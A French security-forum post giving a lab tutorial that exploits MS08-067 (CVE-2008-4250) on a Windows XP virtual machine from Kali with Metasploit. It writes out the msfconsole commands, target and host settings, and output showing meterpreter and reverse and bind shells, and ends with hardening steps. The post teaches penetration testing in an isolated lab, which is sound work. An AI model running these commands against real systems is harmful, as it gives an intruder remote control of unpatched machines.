1er exploit lab de remote shell avec metasploit framework.

Modérateur : admin

admin
Site Admin
Messages : 35
Enregistré le : 18 juil. 2017, 19:18

1er exploit lab de remote shell avec metasploit framework.

Message par admin »

Bonjour, pour ce premier jour de l'année 2026!
Tout d'abord, bonne année et bonne santé à tout le monde. :D
Voici un petit tuto pour cette nouvelle année.


Installez Windows XP Professional x86 (32bit) SP3 FR, et un Kali Linux, dans des machines virtuelles (en configurant les cartes réseaux des deux machines virtuelles dans le même réseau).

Dans le WinXP, lancez une session Administrateur, puis, désactivez les mises à jour de WinXP, ainsi que son firewall. Tout le long du lab, restez connectés en Administrateur (ou un utilisateur ayant les privilèges Administrateur) (et oui, c'est exagéré, mais, c'est juste un test en lab…)

Configurez les deux machines WinXP et Kali, dans le même réseau, de préférence avec des ip statiques, que vous connaissez.

Nous allons exploiter la CVE-2008-4250, qui est la faille la plus exploité, connue, documenté, mais aussi la plus stable sous metasploit -> WinXP et la plus simple à mettre en place (mais aussi une des plus dangereuses, si le correctif n'est pas appliqué sur WinXP 32bit)

N.B. : Malheureusement, lorsque vous lancez un scan GVM sur votre Kali -> WinXP, ce dernier ne trouve pas la faille "CVE-2008-4250", car elle se trouve très difficile à détecter par GVM, et d'autres failles SMB RCE (Remote Code Execution), prennent le dessus, comme les CVE-2009-xxxx, etc… Malheureusement, vous devez connaître cette faille, pour pouvoir la tester (si vous avez d'autres suggestions, ou que vous voulez me corriger, c'est avec plaisir, publiez juste un petit message)

Exploitons-la à présent :

Lancez une recherche "microsoft bulletin CVE-2008-4250". Ouvrez le Microsoft Security bulletin MS08-067 (Vous pouvez le lire pour votre instruction).
Il s'agit bien donc du Bulletin de Sécurité Microsoft MS08-067. C'est bien de ce numéro qu'on va se servir pour définir l'exploit de la faille dans metasploit (et non du CVE).

Allez donc sur votre Kali Linux (de préférence mis à jour), puis, dans un shell (bash par ex., pas besoin d'être en root). Tapez à l'invite :

Code : Tout sélectionner

msfconsole
Validez, et attendez un peu le chargement et la présentation (cette dernière change à chaque fois)
Vous pouvez avoir l'aide de metasploit en tapant "help" à l'invite de commande. Ensuite,
A l'invite "msf>", tapez :

Code : Tout sélectionner

search ms08-067
Validez. Ici, on recherche la faille du bulletin de sécurité Microsoft "ms08-067"
On voit ici :
msf > search ms08-067

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption
… Et surtout, ce qui nous intéresse :
-
exploit/windows/smb/ms08_067_netapi
On voit ici que cette faille est dans le module "netapi", et concerne le protocole SMB (Server Message Block). Tapez à l'invite de commande :
-

Code : Tout sélectionner

use exploit/windows/smb/ms08_067_netapi
Vous obtenez ceci :
msf > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/smb/ms08_067_netapi) >
Le message :
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
Nous indique que comme aucun payload n'a été configuré, le payload "windows/meterpreter/reverse_tcp" a été pris par défaut. C'est de loin le meilleur pour moi, car on peut faire des téléchargements et des uploads et déplacements latéraux, faire une capture d'écran, entre autres. Nous le laissons donc par défaut.
N.B. : Brève explication à propos des shells proposés (bind et reverse):
-
  • Un bind shell, est une connexion directe, tout ce qu'il y a de plus normal, la machine Kali se connecte à WinXP directement par un port. Celle-ci échoue souvent, car, les pare-feu autorisent certaines connexions (ceux définis par le système, et/ou ceux ouverts par les administrateurs, nécessaires), et, par défaut bloquent toutes les autres (inconnues), comme le port 4444 (ou autres aléatoires)
-
  • Un reverse shell : Kali initie la connexion, puis, lance l'écoute sur un port donné de sa propre machine (Kali), et demande à WinXP, de se connecter sur ce port, et de là, vous obtenez un shell de la machine distante.
-
  • Comme ChatGPT le dit :
    • Un bind shell : viens chez moi
      Un reverse shell : je viens chez toi

A partir de ce moment, on peut voir les options de l'exploit. Tapez :
-

Code : Tout sélectionner

show options
  • nous obtenons ceci :
msf exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/
docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process,
none)
LHOST 127.0.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Automatic Targeting
On voit ici les options qu'on peut modifier à l'aide du mot-clé "set". Modifions d'abord l'OS de destination; "target". Pour voir les OS exploitables de cet exploit, tapez "show targets"
-

Code : Tout sélectionner

show targets
  • On obtient :

40 Windows XP SP3 Spanish (NX)
41 Windows XP SP3 Finnish (NX)
42 Windows XP SP3 French (NX)
43 Windows XP SP3 Hebrew (NX)
44 Windows XP SP3 Hungarian (NX)
45 Windows XP SP3 Italian (NX)
46 Windows XP SP3 Japanese (NX)
47 Windows XP SP3 Korean (NX)
48 Windows XP SP3 Dutch (NX)
49 Windows XP SP3 Norwegian (NX)
50 Windows XP SP3 Polish (NX)
51 Windows XP SP3 Portuguese - Brazilian (NX)
52 Windows XP SP3 Portuguese (NX)
53 Windows XP SP3 Russian (NX)
54 Windows XP SP3 Swedish (NX)
55 Windows XP SP3 Turkish (NX)
56 Windows 2003 SP1 English (NO NX)
57 Windows 2003 SP1 English (NX)
- …
On voit ici que notre OS concerné est bien :
-
42 Windows XP SP3 French (NX)
On doit donc le définir pour l'exploit :
-

Code : Tout sélectionner

set target 42
Il y a aussi "RHOSTS" et "LHOST" à définir. Tapez donc (en remplaçant par vos codes IP perso) :

Code : Tout sélectionner

set RHOSTS 10.0.0.253

Code : Tout sélectionner

set LHOST 10.0.0.2
Voilà. C'est tout ce qu'il faut définir dans les options.
Maintenant que tout est bien configuré, vous pouvez faire un "show options" pour voir si vous n'avez pas commis d'erreur…
Si tout est correct, lançons l'exploit! Tapez :
-

Code : Tout sélectionner

exploit
  • vous obtenez (si tout est correct) :
msf exploit(windows/smb/ms08_067_netapi) > exploit
[*] Started reverse TCP handler on 10.0.0.2:4444
[*] 10.0.0.253:445 - Attempting to trigger the vulnerability...
[*] Sending stage (188998 bytes) to 10.0.0.253
[*] Meterpreter session 1 opened (10.0.0.2:4444 -> 10.0.0.253:1038) at 2025-12-31 21:37:17 +0100

meterpreter >

Magic! L'invite de commande "msf >", s'est transformée en "meterpreter >". C'est le signe que l'exploit a bien fonctionné. Maintenant, à votre guise d'exploiter le WinXP à partir de votre Kali, grâce à meterpreter! Vous pouvez vous servir de toutes les instructions Linux (comme ls, pwd, cd, etc…), mais aussi de "download", pour télécharger un fichier/répertorie ou "upload", pour envoyer un fichier/répertorie de votre Kali vers WinXP (vous pouvez taper "help", pour connaitre toutes les commandes disponibles).

Faites quelques lignes de commandes sur meterpreter, et allez voir les effets sur le WinXP. Oubliez pas, que pour quitter, vous devez taper "exit", car, si vous arrêtez la session improprement ([Ctrl]+[c]), ça va vous bloquer, pour réexploiter l'exploit, avec d'autres paramètres… Il faudra relancer la machine WinXP, dans ce cas, quitter metasploit, et recommencer depuis le début…

On peut essayer d'autres payloads (je vous avait dit qu'on s'est servi du payload par défaut). Tapez "exit", puis, à l'invite "msf >", saisissez :
-

Code : Tout sélectionner

show payloads
  • Vous obtenez :
-

130 payload/windows/shell_bind_tcp . normal No Windows Command Shell, Bind TCP Inline
131 payload/windows/shell_hidden_bind_tcp . normal No Windows Command Shell, Hidden Bind TCP Inline
132 payload/windows/shell_reverse_tcp . normal No
Pour changer de payload, (tout reste configuré comme on l'a fait déjà), tapez :
-

Code : Tout sélectionner

set payload payload/windows/shell_bind_tcp
Ensuite, lancez l'exploit :

Code : Tout sélectionner

exploit
Résultat :

Shell Banner:
Microsoft Windows XP [version 5.1.2600]
-----


C:\WINDOWS\system32>dir
dir
Le volume dans le lecteur C n'a pas de nom.
Le num ro de s rie du volume est 14C9-C7DE

R pertoire de C:\WINDOWS\system32

21/12/2025 02:25 <REP> .
21/12/2025 02:25 <REP> ..
19/12/2025 00:02 261 $winnt$.inf

- Voilà, c'est un "cmd" sur votre WinXP!

Vous pouvez tester (pour l'exploit "ms08-067")
  • - payload/windows/meterpreter/bind_tcp
    - payload/windows/meterpreter/reverse_tcp
    - payload/windows/shell/bind_tcp
    - payload/windows/shell/reverse_tcp
    - payload/windows/shell_bind_tcp
    - payload/windows/shell_reverse_tcp
Mais, il y en a peut-être d'autres qui fonctionnent aussi…

A la fin, comme un White Hat, ou un pentester, vous devez apprendre à sécuriser votre WinXP, afin que ce genre d'exploit ne se produise plus :
  • - Mettez à jour Windows (Windows Update)
    - Passez de la version x86 (32bits) à x64 (64bits)
    - Si possible, désactiver SMBv1, pour ne le passer qu'à partir de SMBv2
    - Activez, et configurez le firewall de Windows XP
    - faire ceci en complément sur Windows Vista et Windows Server 2008 et supérieur (je n'ai pas testé…) :
    -
    • netsh
      netsh>rpc
      netsh rpc>filter
      netsh rpc filter>add rule layer=um actiontype=block
      netsh rpc filter>add condition field=if_uuid matchtype=equal data=4b324fc8-1670-01d3-1278-5a47bf6ee188
      netsh rpc filter>add filter
      netsh rpc filter>quit
(entre autres)






Sources : ChatGPT et https://www.it-connect.fr/chapitres/uti ... etasploit/